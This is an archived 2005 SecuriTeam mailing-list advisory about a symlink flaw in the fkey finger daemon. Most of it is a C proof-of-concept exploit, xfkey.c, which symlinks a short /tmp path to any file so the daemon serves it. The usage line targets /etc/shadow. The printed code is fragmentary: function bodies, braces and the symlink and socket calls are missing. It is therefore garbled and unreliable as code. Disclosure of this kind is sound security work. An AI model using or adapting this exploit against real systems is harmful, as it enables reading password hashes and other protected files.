[EXPL] fkey Symblink Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 01/23/05

  • Next message: SecuriTeam: "[UNIX] JSBoard Arbitrary File Reading"
    To: list@securiteam.com
    Date: 23 Jan 2005 15:22:02 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.

    - - - - - - - - -

      fkey Symblink Vulnerability


     <http://freshmeat.net/projects/fkey> fkey is "a scalable finger daemon
    type server for public display of user-specified files, e.g. PGP keys,
    contact information, etc. Users edit their data file (supplied as an ASCII
    text file), and the finger daemon displays it on public request. It may be
    used as a banner server".

    Due to improper usage of local files by fkey, its possible for a local
    attacker to use the program to gain elevated privileges.


    /*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]*
     * *
     * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
     * *
     * xfkey homepage/URL: *
     * http://www.freshmeat.net/projects/fkey *
     * *
     * compile: *
     * gcc xfkey.c -o xfkey *
     * *
     * syntax: *
     * # ./xfkey /etc/shadow 2>~/save_filename *
     * *
     * bug: *
     * fkey is a finger-like daemon for accessing remote files *
     * in a specified directory. there is no limitations *
     * placed on the file acessing other than it must be a *
     * filename/path equal to 10 or less bytes. this limits *
     * the remote possibilities somewhat, but symlinking to a *
     * short path(ie. /tmp/file) locally can access anything. *
     * (this exploits locally) *
     * - SECU *
     * note: *
     * this is pretty low-risk due to the fact that the *
     * program isn't very common, just browsing freshmeat.net *
     * and killing some time. *
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>

    #define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */

    void fkey_connect(unsigned short);
    void printe(char *,short);
    void sig_alarm(){printe("alarm/timeout hit.",1);}

    int main(int argc,char **argv){
     unsigned short port=79;
      printf("[!] syntax: %s <file> [port]\n",argv[0]);
      printe("symlink() failed.",1);
    void fkey_connect(unsigned short port){
     int sock=0,l=0,m=0;
     char buf[1024+1];
     struct hostent *t;
     struct sockaddr_in s;
     printf("[*] attempting to connect: localhost:%u.\n",port);
       printe("couldn't resolve hostname.",1);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("connection failed.",1);
     printf("[*] successfully connected: localhost:%u.\n",port);
      printe("exploit failed, file doesn't exist or zero-length file.",0);
    void printe(char *err,short e){
     printf("[!] %s\n",err);


    The information has been provided by <mailto:v9@fakehalo.deadpig.org>
    Vade 79.
    The original article can be found at: <http://fakehalo.us/xfkey.c>


    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] JSBoard Arbitrary File Reading"